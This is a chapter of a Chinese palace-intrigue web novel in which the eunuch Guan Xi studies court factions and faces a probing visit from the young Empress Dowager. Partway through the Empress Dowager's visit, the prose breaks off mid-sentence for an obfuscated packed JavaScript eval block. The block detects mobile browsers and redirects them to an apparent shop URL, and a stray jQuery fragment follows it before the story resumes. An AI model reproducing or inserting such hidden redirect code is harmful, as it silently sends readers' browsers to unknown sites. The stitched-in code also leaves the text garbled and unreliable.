接下来的日子，承华宫西厢那间小屋的灯火，熄得比往常更晚。


    关禧不再抗拒楚玉带来的任何东西，汤药，饭食，书籍，乃至那些关于伺候的教导。他沉默地接受，吸收着一切能让他在这深宫活下去的知识。


    只是那沉默里，有什么东西不一样了。


    从前是麻木的顺从，如今是清醒的蛰伏。他的眼睛在听楚玉讲解宫廷规矩，各宫关系时，会专注地追随她的每一句话，偶尔在听到关键处，睫毛会极轻微地颤动一下。


    楚玉自然也察觉了这种变化。她依旧面无表情，教导时语气平板无波，但讲解的内容却悄然调整。不再只局限于如何取悦皇帝的技巧，开始夹杂更多看似无关的信息：朝中几位阁老的姓氏与立场，六部尚书的更迭轶闻，京城几大世家的姻亲脉络……甚至偶尔，她会无意间落下几本不属于太监该看的书，本朝《会典》的残卷，历年科举的《登科录》，乃至一些文人私刻的朝野见闻录。


    关禧来者不拒。


    他白天在书斋处理那些琐碎的宫务记录时，目光不再仅仅停留在数字和物品名目上。他会刻意记下各宫支取用度的频率，数额，对比不同季节，不同节庆时的变化，从中揣测各宫的势力消长与皇帝的态度倾向。他看到玉芙宫徐昭容有孕后的用度激增，看到皇后宫中赏赐出去的物件规格远超寻常，也看到太后所居的永寿宫，用度始终平稳却透着不动声色的厚重。


    夜里，油灯下，他艰难地啃着那些晦涩的文言。这个架空王朝“晟”的历史，官制，地理，像一幅巨大的拼图，被他一点一点从破碎的文字中拼凑起来。


    永昌元年。


    当今皇帝登基改元的第一个年头。先帝在位日久，晚年多病，朝局曾被几位权臣把持。萧衍不是长子，其生母郑书意，即如今的太后，出身并不显赫，父亲只是边镇一名中级武将。


    然而这位郑太后，却有着惊人的胆识与运气。


    她十四岁入宫，十五岁生下萧衍，在先帝后宫并非最得宠，却因诞下皇子而稳住了地位。先帝晚年，诸子夺嫡，血雨腥风。萧衍彼时年幼，看似毫无胜算。是郑书意，凭借其父在军中的些许人脉，以及在后宫多年经营下的人情网络，暗中联络，合纵连横，竟在最后关头，将当时年仅十八岁的萧衍推上了太子之位。


    不久先帝驾崩，萧衍登基，郑书意顺理成章成为太后，时年不过三十三岁，是晟朝开国以来最年轻的太后。


    如今皇帝萧衍二十三岁，登基五年，改元永昌，意欲开创一番新气象。而太后郑书意，也才三十八岁，正是一个女人阅历，手腕与野心都臻于成熟的年纪。她居住的永寿宫，看似远离前朝纷争，实际却是后宫乃至朝堂无数暗流的源头。皇帝对这位一手将自己扶上帝位的母亲，感情复杂，既有依赖，也有提防。太后母族郑氏，如今已非当年的边镇小将，其父兄子侄多在军中担任要职，形成一股不容小觑的外戚势力。


    而后宫之中，暗流随永昌元年的到来，更加汹涌。


    皇后柳氏，出身百年清流文臣世家，其父是当朝首辅柳文正。柳后端庄贤淑，但入宫多年无所出，中宫之位看似稳固，实则无子便是最大的隐忧。她需要维持皇后的体统与贤名，亦需时刻提防任何可能威胁她地位的妃嫔与子嗣。


    徐昭容徐宛白，正是如今后宫最灼眼的存在。其父是吏部左侍郎徐阶，兄长也在吏部任职，虽非顶级门阀，却是太后亲手提拔的新贵，在官员考核升迁上颇有实权。徐宛白骄纵貌美，如今又怀有龙嗣，风头一时无两。她与冯昭仪不睦已久，如今更是将承华宫视为眼中钉。


    而冯昭仪冯媛……


    关禧放下手中记录着去年年节赏赐的玉牒副本，揉了揉酸涩的眼角。


    冯媛出身江南冯氏，诗书传家，祖上出过几位翰林学士，父亲现任国子监祭酒，清贵却无实权。冯媛能在新人辈出的后宫稳居昭仪之位，并得协理宫务之权，凭借的绝不仅仅是温婉的性情和清丽的容貌。她的智慧与冷静，关禧已领教多次。冯家看似不涉党争，但在清流文人中声望颇高，是一股润物无声的力量。


    冯媛将关禧握在手中，既是对皇帝某种心照不宣的迎合，也是在徐宛白有孕，皇后无子的局面下，为自己增添的一枚特殊筹码，一枚或许能吸引皇帝注意，分走玉芙宫恩宠，甚至探听某些消息的活棋。


    至于楚玉……


    关禧看向窗外沉沉的夜色。楚玉，或者说楚玉背后可能代表的，冯媛更深层的布局与心思，依旧是一团迷雾。她教他这些，是在为冯媛培养一个更高级的棋子，还是……有她自己的打算？


    关禧不知道。但他清楚，知道得越多，活下去的可能才越大。


    *


    “今日讲《礼记·曲礼》。”


    楚玉的声音在书斋一角响起，平淡无波。她面前摊开一卷书，关禧垂手立在案前。


    “毋不敬，俨若思，安定辞。”楚玉念道，指尖划过书页，“此乃修身之基。在御前，更须时刻谨记。陛下不喜轻浮孟浪之辈。”


    关禧默默记下。


    这些日子，楚玉的教导内容愈发庞杂。从最基础的进退礼仪，言辞应对，到宫廷服饰，器物使用的禁忌，再到各宫主要人物的脾性喜好，彼此间的恩怨纠葛。她像在填鸭，将无数信息硬塞进关禧的脑子。


    有时，她会突然提问。


    “若陛下问起你读何书，当如何答？”


    关禧垂眼：“奴才愚钝，只识得几个字，勉强能看账目文书，不敢妄言读书。”


    “若陛下让你以秋日为题，说句话呢？”


    关禧心念电转，想起楚玉曾提过皇帝不喜过于雕琢的辞藻，偏好简洁有物：“奴才见识浅薄，只觉得御花园中金桂香气袭人，枫叶红似火，都是托陛下洪福，才有这般盛景。”


    楚玉不置可否，继续问：“若陛下提起玉芙宫徐昭容有孕，后宫同庆，你有何感？”


    关禧背脊微僵，旋即放松，声音平稳：“奴才为陛下、为徐昭容娘娘欣喜。皇家子嗣昌盛，是天下之福。”


    “哦？”楚玉抬眼，目光如锥，“那你觉得，冯昭仪娘娘听闻此消息，该如何做才算得体？”


    这个问题更险。关禧沉吟片刻，谨慎答道：“娘娘协理六宫，自当谨遵皇后娘娘吩咐，尽心安排照料，彰显后宫和睦。私下……想必也为陛下高兴。”他绝口不提冯昭仪与徐昭容的不和，只强调宫规。


    楚玉看了他一会儿，眼中掠过一丝难以捉摸的情绪，随即掩去，“尚可。记住，在陛下面前，多看，多听，少说。尤其涉及后宫诸事，绝不妄议。你的本分，是伺候好陛下，让陛下舒心。其余一切，与你无关。”


    “是。”关禧应下。


    他知道，楚玉在训练他成为一个合格的御前侍奉，既要懂得察言观色，恰到好处地展现一点特别，又要牢牢记住自己卑贱的身份，绝不能有任何逾越或卷入是非的迹象。


    这其中的分寸，如走钢丝。


    除了这些实用教导，楚玉带来的书籍也越来越多。


    关禧开始系统了解这个朝代。


    晟朝定鼎已近百年，疆域辽阔，北有草原部族不时侵扰，东南沿海时有倭患，但大体承平。朝中党派林立，有以太后娘家为代表的勋贵武将集团，有以皇后柳家为首的老牌文官清流，有皇帝登基后太后提拔的徐阶等新进务实官员，还有如冯家这般看似中立实则影响士林舆论的清贵世家。


    各方势力在永昌元年这个节点上，微妙地平衡着，也暗潮汹涌。


    后宫是前朝的影子。


    太后高踞永寿宫，看似含饴弄孙，实则通过早年布下的眼线与强大的外戚势力，影响着朝局与后宫。皇帝正值青年，锐意进取，渴望摆脱太后与老臣的掣肘，培养自己的班底。皇后无子，地位微妙，需倚仗娘家势力与太后维持平衡。徐昭容借孕争宠，野心勃勃。冯昭仪则如静水深流，在各方夹缝中寻找自己的位置与机会。


    关禧，便是这盘错综复杂的棋局上，一枚刚刚被拿起，尚未决定落在何处的棋子。


    这日午后，关禧正在书斋一角整理一批新送来的地方贡品清单，忽然听到外间传来一阵不同寻常的脚步声与环佩轻响，比平日冯昭仪出行更为煊赫。


    他立刻放下手中纸笔，垂首肃立。


    只见陈立德弓着腰，急匆匆进来，低声道：“快，收拾一下，永寿宫太后娘娘驾到！正往这边来了！”


    太后？郑书意？


    关禧心头猛地一跳。这位传奇的年轻太后，他只在楚玉的描述和零碎记录中拼凑过形象，从未得见。她为何突然来承华宫？


    不及细想，外面通传声已起：“太后娘娘驾到——！”


    冯媛早已闻讯，带着楚玉疾步出迎。关禧随着其他太监宫女，跪伏在书斋门内两侧，额头触地，屏息凝神。


    一股馥郁的香气率先涌入，不是少女的甜香，也非佛堂的檀香，而是某种更为醇厚的珍稀香料气息。接着，是一双绣着繁复金凤衔珠纹样的明黄色凤履，缓缓踏入视线。履上珍珠圆润，金线灿然，每一步都透着无声的威仪。


    关禧不敢抬头，只能用余光瞥见那迤逦的明黄裙裾，其上用捻金线绣着大朵大朵的牡丹，花心嵌着细小的宝石，在午后阳光下流转着奢华的光泽。


    “都起来吧。”一个声音响起，不高，甚至算得上温和。


    音色比关禧想象中更年轻些，透着沉稳。


    “谢太后娘娘。”众人谢恩起身，依旧垂首。


    关禧这才得以稍稍抬起视线。


    只见一位身着明黄色织金凤纹常服的女人，正被冯媛恭敬地搀扶着，走向书斋主位。她身量中等偏上，体态保持得极好，并无寻常中年妇人的丰腴，反而有种柔韧的挺拔。乌发梳成端庄繁复的朝天髻，戴着一套赤金点翠凤穿牡丹头面，凤口衔下的明珠正垂在光洁的额前，熠熠生辉。


    最令人印象深刻的是她的脸。三十八岁的年纪，保养得宜，肌肤紧致，眼角仅有几丝极淡的纹路，不仅无损容颜，反添威仪。柳眉杏眼，顾盼间自有洞悉世情的从容。鼻梁秀挺，唇形优美，唇角天然微微上翘，即使不笑也带着三分和气，然而那通身的气度，却让人绝不敢因这和气而有丝毫怠慢。


    这便是十五岁生子，三十三岁已稳坐太后之位，亲手将儿子扶上帝位的郑书意。


    她坐下，冯媛亲自奉茶。郑书意接过来，轻轻拨了拨茶沫，目光扫缓缓过书斋。


    “冯昭仪这书斋，倒是越发雅致清静了。哀家记得你素来爱读书，协理宫务之余，还能有此闲情，难得。”郑书意开口，语气家常。


    冯媛欠身，笑容温婉得体：“太后娘娘过誉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002494|192226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。臣妾不过是附庸风雅，借几本书打发辰光罢了。比不得娘娘学识渊博，胸怀天下。”


    郑书意笑了笑，不置可否，目光似无意般掠过屋内侍立的众人，在低垂着头的关禧身上，停留了极其短暂的一瞬。


    关禧只觉得那目光如有实质，虽只是一瞥，却能将人从里到外看透。他背上沁出一层冷汗，将头垂得更低。


    “听闻皇帝前些日子，夜里来过你这里？”郑书意话题一转，语气随意。


    冯媛神色不变，恭敬答道：“是。陛下那日路过，想起询问几桩宫务用度，便进来坐了坐。臣妾已将账目明细呈上，陛下看后便起驾了。”


    “嗯。”郑书意轻轻啜了口茶，“皇帝勤政，是万民之福。只是也要注意龙体，莫要太过操劳。你们在身边伺候的，也要多劝着些。”


    “臣妾谨记太后娘娘教诲。”


    郑书意放下茶盏，目光再次转向书架，这次停留的时间稍长，“哀家年轻时候，也爱看些杂书。可惜如今眼神不如从前了。冯昭仪这里可有什么新进的、有趣的本子？拿来给哀家瞧瞧，解解闷。”


    冯媛连忙示意楚玉。楚玉会意，快步走到书架前，小心取了几本装帧精美，看似话本游记类的书籍，双手奉上。


    郑书意接过，随手翻看，似乎真的只是来找书闲聊。书斋内气氛看似松弛下来。


    然而，就在楚玉退回原位时，郑书意翻书的动作一顿，抬起眼，目光再次落向关禧的方向，这次更为明确。


    “那个角落站着的小太监，”郑书意声音不高，却让所有人精神一凛，“看着脸生。是新来的？”


    关禧浑身一僵，心脏骤缩。


    冯媛目光微闪，脸上笑容不变，温声答道：“回太后娘娘，这是臣妾宫中书斋伺候笔墨的小太监，名唤小离子。入宫有些时日了，只是平日多在书斋做事，少见天颜，故而娘娘觉得面生。”


    “小离子？”郑书意重复了一遍，若有所思，“抬起头来，让哀家瞧瞧。”


    该来的，终究来了。


    关禧深吸一口气，强迫自己镇定，缓缓抬起头，目光恭敬地落在太后胸前凤纹以下的位置。他能感觉到太后那锐利而通透的视线，像最精细的尺，丈量着他的五官，审视着他每一寸表情。


    时间仿佛被拉长。


    半晌，郑书意才轻轻“嗯”了一声，听不出喜怒：“模样倒是齐整。在书斋伺候，可识得字？”


    关禧喉咙发干，依着楚玉教导的答案，谨慎回道：“回太后娘娘，奴才愚钝，只识得几个常用字，会写些简单数目，勉强能应付差事。”


    “能应付差事便好。”郑书意语气平淡，目光未移开，随口问道，“冯昭仪协理宫务，账目琐碎，你可曾出过差错？”


    “奴才不敢。娘娘教诲严谨，每一笔出入都需反复核对，奴才战战兢兢，唯恐有负娘娘信任。”关禧答得滴水不漏。


    郑书意看了他片刻，极淡地笑了笑：“是个谨慎的。皇帝那日来，可曾问起过你？”


    这话问得突然，且直指核心。关禧背上冷汗更多，脑中飞速转动，脸上竭力维持着镇定：“陛下天威赫赫，奴才卑贱，岂敢近前。那日陛下与娘娘叙话，奴才只在门外听候吩咐，未曾得见天颜。”


    他一口咬定自己未近前，更未与皇帝有直接接触。这是楚玉反复强调的底线，在真正被推出去之前，绝不可主动承认或透露任何可能引起额外关注的信息，尤其是来自太后这种级别的关注。


    郑书意闻言，目光在关禧低垂恭敬的脸上又停留了一瞬，那眼神深邃。随即，她移开视线，重新落回手中的书卷上，仿佛刚才那一问只是随口一提。


    “嗯，守本分是好事。”她语气恢复如常，甚至带上了几分闲聊的慵懒，“冯昭仪调理下人，是越来越用心了。”


    冯媛连忙谦辞：“太后娘娘谬赞，是臣妾分内之事。”


    接下来，郑书意又问了冯媛几句宫中琐事，态度始终温和，就像一位关心晚辈的寻常长辈。约莫一盏茶后，她便起身，言说永寿宫还有事，起驾离去。


    冯媛率众恭送。


    直到太后的仪仗彻底消失在宫道尽头，书斋内的空气才重新开始流动。


    关禧依旧站在原地，腿有些发软。刚才那番问答，看似平淡，实则凶险。太后那双眼睛，给他的压力，竟不亚于那晚面对皇帝。


    冯媛走回主位坐下，端起已然凉透的茶，用杯盖轻轻拨弄着水面。楚玉垂手立在一旁，面无表情。


    “太后娘娘今日，倒是好兴致。”冯媛忽然开口，声音不大，像是自言自语。


    楚玉低声道：“永寿宫近日得了江南新贡的云锦和香茗，太后娘娘或许是来与娘娘分享。”


    冯媛轻笑一声，放下茶盏，那笑意却未达眼底：“分享是假，敲打是真。玉芙宫风头太盛，皇后那边又过于沉寂，太后这是提醒六宫，谁才是真正定盘星呢。”她顿了顿，目光瞥向垂首肃立的关禧，“顺带，也来看看咱们承华宫新添的这抹景致。”


    关禧心头一凛。


    “不过，你方才答得还算稳妥。”冯媛语气缓和了些，“记住，在宫里，有时候，没被记住，才是最大的幸运。尤其是在太后面前。”


    “奴才谨记娘娘教诲。”关禧躬身。


    “下去吧。”冯媛挥挥手。